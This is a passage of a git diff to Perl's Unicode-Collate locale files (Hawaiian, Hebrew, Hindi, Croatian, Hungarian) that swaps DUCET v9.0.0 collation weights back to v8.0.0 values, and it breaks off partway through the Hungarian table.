+02BC 0059 ; [.1E92.0020.0009] # +0027 0079 ; [.1E92.0020.0004] # +0027 0059 ; [.1E92.0020.000A] # ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/haw.pl b/cpan/Unicode-Collate/Collate/Locale/haw.pl index 8cc7c2b692ee..c35d19bf168f 100644 --- a/cpan/Unicode-Collate/Collate/Locale/haw.pl +++ b/cpan/Unicode-Collate/Collate/Locale/haw.pl @@ -1,22 +1,22 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0065 ; [.1C48.0020.0002][.FFF1.0000.0000] # LATIN SMALL LETTER E -0045 ; [.1C48.0020.0008][.FFF1.0000.0000] # LATIN CAPITAL LETTER E -0069 ; [.1C48.0020.0002][.FFF2.0000.0000] # LATIN SMALL LETTER I -0049 ; [.1C48.0020.0008][.FFF2.0000.0000] # LATIN CAPITAL LETTER I -006F ; [.1C48.0020.0002][.FFF3.0000.0000] # LATIN SMALL LETTER O -004F ; [.1C48.0020.0008][.FFF3.0000.0000] # LATIN CAPITAL LETTER O -0075 ; [.1C48.0020.0002][.FFF4.0000.0000] # LATIN SMALL LETTER U -0055 ; [.1C48.0020.0008][.FFF4.0000.0000] # LATIN CAPITAL LETTER U -02BB ; [.1EF6.0020.0002] # MODIFIER LETTER TURNED COMMA -0113 ; [.1C48.0020.0002][.FFF1.0000.0000][.0000.0032.0002] # LATIN SMALL LETTER E WITH MACRON -0112 ; [.1C48.0020.0008][.FFF1.0000.0000][.0000.0032.0002] # LATIN CAPITAL LETTER E WITH MACRON -012B ; [.1C48.0020.0002][.FFF2.0000.0000][.0000.0032.0002] # LATIN SMALL LETTER I WITH MACRON -012A ; [.1C48.0020.0008][.FFF2.0000.0000][.0000.0032.0002] # LATIN CAPITAL LETTER I WITH MACRON -014D ; [.1C48.0020.0002][.FFF3.0000.0000][.0000.0032.0002] # LATIN SMALL LETTER O WITH MACRON -014C ; [.1C48.0020.0008][.FFF3.0000.0000][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH MACRON -016B ; [.1C48.0020.0002][.FFF4.0000.0000][.0000.0032.0002] # LATIN SMALL LETTER U WITH MACRON -016A ; [.1C48.0020.0008][.FFF4.0000.0000][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH MACRON + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0065 ; [.1BC3.0020.0002][.FFF1.0000.0000] # LATIN SMALL LETTER E +0045 ; [.1BC3.0020.0008][.FFF1.0000.0000] # LATIN CAPITAL LETTER E +0069 ; [.1BC3.0020.0002][.FFF2.0000.0000] # LATIN SMALL LETTER I +0049 ; [.1BC3.0020.0008][.FFF2.0000.0000] # LATIN CAPITAL LETTER I +006F ; [.1BC3.0020.0002][.FFF3.0000.0000] # LATIN SMALL LETTER O +004F ; [.1BC3.0020.0008][.FFF3.0000.0000] # LATIN CAPITAL LETTER O +0075 ; [.1BC3.0020.0002][.FFF4.0000.0000] # LATIN SMALL LETTER U +0055 ; [.1BC3.0020.0008][.FFF4.0000.0000] # LATIN CAPITAL LETTER U +02BB ; [.1E71.0020.0002] # MODIFIER LETTER TURNED COMMA +0113 ; [.1BC3.0020.0002][.FFF1.0000.0000][.0000.0032.0002] # LATIN SMALL LETTER E WITH MACRON +0112 ; [.1BC3.0020.0008][.FFF1.0000.0000][.0000.0032.0002] # LATIN CAPITAL LETTER E WITH MACRON +012B ; [.1BC3.0020.0002][.FFF2.0000.0000][.0000.0032.0002] # LATIN SMALL LETTER I WITH MACRON +012A ; [.1BC3.0020.0008][.FFF2.0000.0000][.0000.0032.0002] # LATIN CAPITAL LETTER I WITH MACRON +014D ; [.1BC3.0020.0002][.FFF3.0000.0000][.0000.0032.0002] # LATIN SMALL LETTER O WITH MACRON +014C ; [.1BC3.0020.0008][.FFF3.0000.0000][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH MACRON +016B ; [.1BC3.0020.0002][.FFF4.0000.0000][.0000.0032.0002] # LATIN SMALL LETTER U WITH MACRON +016A ; [.1BC3.0020.0008][.FFF4.0000.0000][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH MACRON ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/he.pl b/cpan/Unicode-Collate/Collate/Locale/he.pl index f73c8d560cf0..f36eac539ff1 100644 --- a/cpan/Unicode-Collate/Collate/Locale/he.pl +++ b/cpan/Unicode-Collate/Collate/Locale/he.pl @@ -1,7 +1,7 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -05F3 ; [*0305.001F.0002] # HEBREW PUNCTUATION GERESH -05F4 ; [*030C.001F.0002] # HEBREW PUNCTUATION GERSHAYIM + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +05F3 ; [*02FE.001F.0002] # HEBREW PUNCTUATION GERESH +05F4 ; [*0305.001F.0002] # HEBREW PUNCTUATION GERSHAYIM ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/hi.pl b/cpan/Unicode-Collate/Collate/Locale/hi.pl index 730cfd552d1c..be52b800de02 100644 --- a/cpan/Unicode-Collate/Collate/Locale/hi.pl +++ b/cpan/Unicode-Collate/Collate/Locale/hi.pl @@ -1,9 +1,9 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0902 ; [.265B.0020.0002][.FFF1.0000.0000] # DEVANAGARI SIGN ANUSVARA -0901 ; [.265B.0021.0002][.FFF1.0000.0000] # DEVANAGARI SIGN CANDRABINDU -0903 ; [.265B.0020.0002][.FFF2.0000.0000] # DEVANAGARI SIGN VISARGA -0950 ; [.265B.0020.0002][.FFF0.0000.0000] # DEVANAGARI OM + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0902 ; [.25CE.0020.0002][.FFF1.0000.0000] # DEVANAGARI SIGN ANUSVARA +0901 ; [.25CE.0021.0002][.FFF1.0000.0000] # DEVANAGARI SIGN CANDRABINDU +0903 ; [.25CE.0020.0002][.FFF2.0000.0000] # DEVANAGARI SIGN VISARGA +0950 ; [.25CE.0020.0002][.FFF0.0000.0000] # DEVANAGARI OM ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/hr.pl b/cpan/Unicode-Collate/Collate/Locale/hr.pl index 3e19c179d1c7..1824ab9c2088 100644 --- a/cpan/Unicode-Collate/Collate/Locale/hr.pl +++ b/cpan/Unicode-Collate/Collate/Locale/hr.pl @@ -1,48 +1,48 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -010D ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON -0063 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON -010C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -0043 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -0107 ; [.1C7C.0020.0002] # LATIN SMALL LETTER C WITH ACUTE -0063 0301 ; [.1C7C.0020.0002] # LATIN SMALL LETTER C WITH ACUTE -0063 0341 ; [.1C7C.0020.0002] # LATIN SMALL LETTER C WITH ACUTE -0106 ; [.1C7C.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE -0043 0301 ; [.1C7C.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE -0043 0341 ; [.1C7C.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE -0064 017E ; [.1C90.0020.0002] # -01C6 ; [.1C90.0020.0003] # LATIN SMALL LETTER DZ WITH CARON -0044 017E ; [.1C90.0020.0007][.0000.0000.0001] # -01C5 ; [.1C90.0020.0007][.0000.0000.0007] # LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON -0044 017D ; [.1C90.0020.0008] # -01C4 ; [.1C90.0020.0009] # LATIN CAPITAL LETTER DZ WITH CARON -0064 007A 030C ; [.1C90.0020.0002] # -0044 007A 030C ; [.1C90.0020.0007][.0000.0000.0001] # -0044 005A 030C ; [.1C90.0020.0008] # -0111 ; [.1C91.0020.0002] # LATIN SMALL LETTER D WITH STROKE -0064 0335 ; [.1C91.0020.0002] # LATIN SMALL LETTER D WITH STROKE -0110 ; [.1C91.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE -0044 0335 ; [.1C91.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE -006C 006A ; [.1D78.0020.0002] # -01C9 ; [.1D78.0020.0003] # LATIN SMALL LETTER LJ -004C 006A ; [.1D78.0020.0007][.0000.0000.0001] # -01C8 ; [.1D78.0020.0007][.0000.0000.0007] # LATIN CAPITAL LETTER L WITH SMALL LETTER J -004C 004A ; [.1D78.0020.0008] # -01C7 ; [.1D78.0020.0009] # LATIN CAPITAL LETTER LJ -006E 006A ; [.1DBA.0020.0002] # -01CC ; [.1DBA.0020.0003] # LATIN SMALL LETTER NJ -004E 006A ; [.1DBA.0020.0007][.0000.0000.0001] # -01CB ; [.1DBA.0020.0007][.0000.0000.0007] # LATIN CAPITAL LETTER N WITH SMALL LETTER J -004E 004A ; [.1DBA.0020.0008] # -01CA ; [.1DBA.0020.0009] # LATIN CAPITAL LETTER NJ -0161 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0160 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -017E ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON -007A 030C ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON -017D ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON -005A 030C ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +010D ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON +0063 030C ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON +010C ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON +0043 030C ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON +0107 ; [.1BF7.0020.0002] # LATIN SMALL LETTER C WITH ACUTE +0063 0301 ; [.1BF7.0020.0002] # LATIN SMALL LETTER C WITH ACUTE +0063 0341 ; [.1BF7.0020.0002] # LATIN SMALL LETTER C WITH ACUTE +0106 ; [.1BF7.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE +0043 0301 ; [.1BF7.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE +0043 0341 ; [.1BF7.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE +0064 017E ; [.1C0B.0020.0002] # +01C6 ; [.1C0B.0020.0003] # LATIN SMALL LETTER DZ WITH CARON +0044 017E ; [.1C0B.0020.0007][.0000.0000.0001] # +01C5 ; [.1C0B.0020.0007][.0000.0000.0007] # LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON +0044 017D ; [.1C0B.0020.0008] # +01C4 ; [.1C0B.0020.0009] # LATIN CAPITAL LETTER DZ WITH CARON +0064 007A 030C ; [.1C0B.0020.0002] # +0044 007A 030C ; [.1C0B.0020.0007][.0000.0000.0001] # +0044 005A 030C ; [.1C0B.0020.0008] # +0111 ; [.1C0C.0020.0002] # LATIN SMALL LETTER D WITH STROKE +0064 0335 ; [.1C0C.0020.0002] # LATIN SMALL LETTER D WITH STROKE +0110 ; [.1C0C.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE +0044 0335 ; [.1C0C.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE +006C 006A ; [.1CF3.0020.0002] # +01C9 ; [.1CF3.0020.0003] # LATIN SMALL LETTER LJ +004C 006A ; [.1CF3.0020.0007][.0000.0000.0001] # +01C8 ; [.1CF3.0020.0007][.0000.0000.0007] # LATIN CAPITAL LETTER L WITH SMALL LETTER J +004C 004A ; [.1CF3.0020.0008] # +01C7 ; [.1CF3.0020.0009] # LATIN CAPITAL LETTER LJ +006E 006A ; [.1D35.0020.0002] # +01CC ; [.1D35.0020.0003] # LATIN SMALL LETTER NJ +004E 006A ; [.1D35.0020.0007][.0000.0000.0001] # +01CB ; [.1D35.0020.0007][.0000.0000.0007] # LATIN CAPITAL LETTER N WITH SMALL LETTER J +004E 004A ; [.1D35.0020.0008] # +01CA ; [.1D35.0020.0009] # LATIN CAPITAL LETTER NJ +0161 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON +0073 030C ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON +0160 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +0053 030C ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +017E ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON +007A 030C ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON +017D ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON +005A 030C ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/hu.pl b/cpan/Unicode-Collate/Collate/Locale/hu.pl index 04085f6cffed..94794bfc3a5c 100644 --- a/cpan/Unicode-Collate/Collate/Locale/hu.pl +++ b/cpan/Unicode-Collate/Collate/Locale/hu.pl @@ -1,151 +1,151 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0063 0073 ; [.1C7B.0020.0002] # -0063 0053 ; [.1C7B.0020.0007][.0000.0000.0002] # -0043 0073 ; [.1C7B.0020.0007][.0000.0000.0008] # -0043 0053 ; [.1C7B.0020.0008] # -0064 007A ; [.1C90.0020.0002] # -0064 005A ; [.1C90.0020.0007][.0000.0000.0002] # -0044 007A ; [.1C90.0020.0007][.0000.0000.0008] # -0044 005A ; [.1C90.0020.0008] # -0064 007A 0073 ; [.1C91.0020.0002] # -0064 007A 0053 ; [.1C91.0020.0007][.0000.0000.0002][.0000.0000.0002] # -0064 005A 0073 ; [.1C91.0020.0007][.0000.0000.0002][.0000.0000.0007] # -0064 005A 0053 ; [.1C91.0020.0007][.0000.0000.0002][.0000.0000.0008] # -0044 007A 0073 ; [.1C91.0020.0007][.0000.0000.0008][.0000.0000.0002] # -0044 007A 0053 ; [.1C91.0020.0007][.0000.0000.0008][.0000.0000.0007] # -0044 005A 0073 ; [.1C91.0020.0007][.0000.0000.0008][.0000.0000.0008] # -0044 005A 0053 ; [.1C91.0020.0008] # -0067 0079 ; [.1CF5.0020.0002] # -0067 0059 ; [.1CF5.0020.0007][.0000.0000.0002] # -0047 0079 ; [.1CF5.0020.0007][.0000.0000.0008] # -0047 0059 ; [.1CF5.0020.0008] # -006C 0079 ; [.1D78.0020.0002] # -006C 0059 ; [.1D78.0020.0007][.0000.0000.0002] # -004C 0079 ; [.1D78.0020.0007][.0000.0000.0008] # -004C 0059 ; [.1D78.0020.0008] # -006E 0079 ; [.1DBA.0020.0002] # -006E 0059 ; [.1DBA.0020.0007][.0000.0000.0002] # -004E 0079 ; [.1DBA.0020.0007][.0000.0000.0008] # -004E 0059 ; [.1DBA.0020.0008] # -0073 007A ; [.1E72.0020.0002] # -0073 005A ; [.1E72.0020.0007][.0000.0000.0002] # -0053 007A ; [.1E72.0020.0007][.0000.0000.0008] # -0053 005A ; [.1E72.0020.0008] # -0074 0079 ; [.1E96.0020.0002] # -0074 0059 ; [.1E96.0020.0007][.0000.0000.0002] # -0054 0079 ; [.1E96.0020.0007][.0000.0000.0008] # -0054 0059 ; [.1E96.0020.0008] # -007A 0073 ; [.1F22.0020.0002] # -007A 0053 ; [.1F22.0020.0007][.0000.0000.0002] # -005A 0073 ; [.1F22.0020.0007][.0000.0000.0008] # -005A 0053 ; [.1F22.0020.0008] # -00F6 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1DDE.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1DDE.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -0151 ; [.1DDE.0021.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -006F 030B ; [.1DDE.0021.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -0150 ; [.1DDE.0021.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -004F 030B ; [.1DDE.0021.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -00FC ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -01DC ; [.1EB6.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1EB6.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01D8 ; [.1EB6.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1EB6.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01D6 ; [.1EB6.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1EB6.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -01DA ; [.1EB6.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1EB6.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0171 ; [.1EB6.0021.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0075 030B ; [.1EB6.0021.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0170 ; [.1EB6.0021.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -0055 030B ; [.1EB6.0021.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -0063 0063 0073 ; [.1C7B.0020.0002][.1C7B.0020.0002] # -0063 0063 0053 ; [.1C7B.0020.0002][.1C7B.0020.0007][.0000.0000.0002] # -0063 0043 0073 ; [.1C7B.0020.0002][.1C7B.0020.0007][.0000.0000.0008] # -0063 0043 0053 ; [.1C7B.0020.0002][.1C7B.0020.0008] # -0043 0063 0073 ; [.1C7B.0020.0008][.1C7B.0020.0002] # -0043 0063 0053 ; [.1C7B.0020.0008][.1C7B.0020.0007][.0000.0000.0002] # -0043 0043 0073 ; [.1C7B.0020.0008][.1C7B.0020.0007][.0000.0000.0008] # -0043 0043 0053 ; [.1C7B.0020.0008][.1C7B.0020.0008] # -0064 0064 007A ; [.1C90.0020.0002][.1C90.0020.0002] # -0064 0064 005A ; [.1C90.0020.0002][.1C90.0020.0007][.0000.0000.0002] # -0064 0044 007A ; [.1C90.0020.0002][.1C90.0020.0007][.0000.0000.0008] # -0064 0044 005A ; [.1C90.0020.0002][.1C90.0020.0008] # -0044 0064 007A ; [.1C90.0020.0008][.1C90.0020.0002] # -0044 0064 005A ; [.1C90.0020.0008][.1C90.0020.0007][.0000.0000.0002] # -0044 0044 007A ; [.1C90.0020.0008][.1C90.0020.0007][.0000.0000.0008] # -0044 0044 005A ; [.1C90.0020.0008][.1C90.0020.0008] # -0064 0064 007A 0073 ; [.1C91.0020.0002][.1C91.0020.0002] # -0064 0064 007A 0053 ; [.1C91.0020.0002][.1C91.0020.0007][.0000.0000.0002][.0000.0000.0002] # -0064 0064 005A 0073 ; [.1C91.0020.0002][.1C91.0020.0007][.0000.0000.0002][.0000.0000.0007] # -0064 0064 005A 0053 ; [.1C91.0020.0002][.1C91.0020.0007][.0000.0000.0002][.0000.0000.0008] # -0064 0044 007A 0073 ; [.1C91.0020.0002][.1C91.0020.0007][.0000.0000.0008][.0000.0000.0002] # -0064 0044 007A 0053 ; [.1C91.0020.0002][.1C91.0020.0007][.0000.0000.0008][.0000.0000.0007] # -0064 0044 005A 0073 ; [.1C91.0020.0002][.1C91.0020.0007][.0000.0000.0008][.0000.0000.0008] # -0064 0044 005A 0053 ; [.1C91.0020.0002][.1C91.0020.0008] # -0044 0064 007A 0073 ; [.1C91.0020.0008][.1C91.0020.0002] # -0044 0064 007A 0053 ; [.1C91.0020.0008][.1C91.0020.0007][.0000.0000.0002][.0000.0000.0002] # -0044 0064 005A 0073 ; [.1C91.0020.0008][.1C91.0020.0007][.0000.0000.0002][.0000.0000.0007] # -0044 0064 005A 0053 ; [.1C91.0020.0008][.1C91.0020.0007][.0000.0000.0002][.0000.0000.0008] # -0044 0044 007A 0073 ; [.1C91.0020.0008][.1C91.0020.0007][.0000.0000.0008][.0000.0000.0002] # -0044 0044 007A 0053 ; [.1C91.0020.0008][.1C91.0020.0007][.0000.0000.0008][.0000.0000.0007] # -0044 0044 005A 0073 ; [.1C91.0020.0008][.1C91.0020.0007][.0000.0000.0008][.0000.0000.0008] # -0044 0044 005A 0053 ; [.1C91.0020.0008][.1C91.0020.0008] # -0067 0067 0079 ; [.1CF5.0020.0002][.1CF5.0020.0002] # -0067 0067 0059 ; [.1CF5.0020.0002][.1CF5.0020.0007][.0000.0000.0002] # -0067 0047 0079 ; [.1CF5.0020.0002][.1CF5.0020.0007][.0000.0000.0008] # -0067 0047 0059 ; [.1CF5.0020.0002][.1CF5.0020.0008] # -0047 0067 0079 ; [.1CF5.0020.0008][.1CF5.0020.0002] # -0047 0067 0059 ; [.1CF5.0020.0008][.1CF5.0020.0007][.0000.0000.0002] # -0047 0047 0079 ; [.1CF5.0020.0008][.1CF5.0020.0007][.0000.0000.0008] # -0047 0047 0059 ; [.1CF5.0020.0008][.1CF5.0020.0008] # -006C 006C 0079 ; [.1D78.0020.0002][.1D78.0020.0002] # -006C 006C 0059 ; [.1D78.0020.0002][.1D78.0020.0007][.0000.0000.0002] # -006C 004C 0079 ; [.1D78.0020.0002][.1D78.0020.0007][.0000.0000.0008] # -006C 004C 0059 ; [.1D78.0020.0002][.1D78.0020.0008] # -004C 006C 0079 ; [.1D78.0020.0008][.1D78.0020.0002] # -004C 006C 0059 ; [.1D78.0020.0008][.1D78.0020.0007][.0000.0000.0002] # -004C 004C 0079 ; [.1D78.0020.0008][.1D78.0020.0007][.0000.0000.0008] # -004C 004C 0059 ; [.1D78.0020.0008][.1D78.0020.0008] # -006E 006E 0079 ; [.1DBA.0020.0002][.1DBA.0020.0002] # -006E 006E 0059 ; [.1DBA.0020.0002][.1DBA.0020.0007][.0000.0000.0002] # -006E 004E 0079 ; [.1DBA.0020.0002][.1DBA.0020.0007][.0000.0000.0008] # -006E 004E 0059 ; [.1DBA.0020.0002][.1DBA.0020.0008] # -004E 006E 0079 ; [.1DBA.0020.0008][.1DBA.0020.0002] # -004E 006E 0059 ; [.1DBA.0020.0008][.1DBA.0020.0007][.0000.0000.0002] # -004E 004E 0079 ; [.1DBA.0020.0008][.1DBA.0020.0007][.0000.0000.0008] # -004E 004E 0059 ; [.1DBA.0020.0008][.1DBA.0020.0008] # -0073 0073 007A ; [.1E72.0020.0002][.1E72.0020.0002] # -0073 0073 005A ; [.1E72.0020.0002][.1E72.0020.0007][.0000.0000.0002] # -0073 0053 007A ; [.1E72.0020.0002][.1E72.0020.0007][.0000.0000.0008] # -0073 0053 005A ; [.1E72.0020.0002][.1E72.0020.0008] # -0053 0073 007A ; [.1E72.0020.0008][.1E72.0020.0002] # -0053 0073 005A ; [.1E72.0020.0008][.1E72.0020.0007][.0000.0000.0002] # -0053 0053 007A ; [.1E72.0020.0008][.1E72.0020.0007][.0000.0000.0008] # -0053 0053 005A ; [.1E72.0020.0008][.1E72.0020.0008] # -0074 0074 0079 ; [.1E96.0020.0002][.1E96.0020.0002] # -0074 0074 0059 ; [.1E96.0020.0002][.1E96.0020.0007][.0000.0000.0002] # -0074 0054 0079 ; [.1E96.0020.0002][.1E96.0020.0007][.0000.0000.0008] # -0074 0054 0059 ; [.1E96.0020.0002][.1E96.0020.0008] # -0054 0074 0079 ; [.1E96.0020.0008][.1E96.0020.0002] # -0054 0074 0059 ; [.1E96.0020.0008][.1E96.0020.0007][.0000.0000.0002] # -0054 0054 0079 ; [.1E96.0020.0008][.1E96.0020.0007][.0000.0000.0008] # -0054 0054 0059 ; [.1E96.0020.0008][.1E96.0020.0008] # -007A 007A 0073 ; [.1F22.0020.0002][.1F22.0020.0002] # -007A 007A 0053 ; [.1F22.0020.0002][.1F22.0020.0007][.0000.0000.0002] # -007A 005A 0073 ; [.1F22.0020.0002][.1F22.0020.0007][.0000.0000.0008] # -007A 005A 0053 ; [.1F22.0020.0002][.1F22.0020.0008] # -005A 007A 0073 ; [.1F22.0020.0008][.1F22.0020.0002] # -005A 007A 0053 ; [.1F22.0020.0008][.1F22.0020.0007][.0000.0000.0002] # -005A 005A 0073 ; [.1F22.0020.0008][.1F22.0020.0007][.0000.0000.0008] # -005A 005A 0053 ; [.1F22.0020.0008][.1F22.0020.0008] # + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0063 0073 ; [.1BF6.0020.0002] # +0063 0053 ; [.1BF6.0020.0007][.0000.0000.0002] # +0043 0073 ; [.1BF6.0020.0007][.0000.0000.0008] # +0043 0053 ; [.1BF6.0020.0008] # +0064 007A ; [.1C0B.0020.0002] # +0064 005A ; [.1C0B.0020.0007][.0000.0000.0002] # +0044 007A ; [.1C0B.0020.0007][.0000.0000.0008] # +0044 005A ; [.1C0B.0020.0008] # +0064 007A 0073 ; [.1C0C.0020.0002] # +0064 007A 0053 ; [.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0002] # +0064 005A 0073 ; [.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0007] # +0064 005A 0053 ; [.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0008] # +0044 007A 0073 ; [.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0002] # +0044 007A 0053 ; [.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0007] # +0044 005A 0073 ; [.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0008] # +0044 005A 0053 ; [.1C0C.0020.0008] # +0067 0079 ; [.1C70.0020.0002] # +0067 0059 ; [.1C70.0020.0007][.0000.0000.0002] # +0047 0079 ; [.1C70.0020.0007][.0000.0000.0008] # +0047 0059 ; [.1C70.0020.0008] # +006C 0079 ; [.1CF3.0020.0002] # +006C 0059 ; [.1CF3.0020.0007][.0000.0000.0002] # +004C 0079 ; [.1CF3.0020.0007][.0000.0000.0008] # +004C 0059 ; [.1CF3.0020.0008] # +006E 0079 ; [.1D35.0020.0002] # +006E 0059 ; [.1D35.0020.0007][.0000.0000.0002] # +004E 0079 ; [.1D35.0020.0007][.0000.0000.0008] # +004E 0059 ; [.1D35.0020.0008] # +0073 007A ; [.1DED.0020.0002] # +0073 005A ; [.1DED.0020.0007][.0000.0000.0002] # +0053 007A ; [.1DED.0020.0007][.0000.0000.0008] # +0053 005A ; [.1DED.0020.0008] # +0074 0079 ; [.1E11.0020.0002] # +0074 0059 ; [.1E11.0020.0007][.0000.0000.0002] # +0054 0079 ; [.1E11.0020.0007][.0000.0000.0008] # +0054 0059 ; [.1E11.0020.0008] # +007A 0073 ; [.1E9D.0020.0002] # +007A 0053 ; [.1E9D.0020.0007][.0000.0000.0002] # +005A 0073 ; [.1E9D.0020.0007][.0000.0000.0008] # +005A 0053 ; [.1E9D.0020.0008] # +00F6 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1D59.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1D59.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +0151 ; [.1D59.0021.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +006F 030B ; [.1D59.0021.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +0150 ; [.1D59.0021.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +004F 030B ; [.1D59.0021.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +00FC ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +01DC ; [.1E31.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E31.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01D8 ; [.1E31.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; 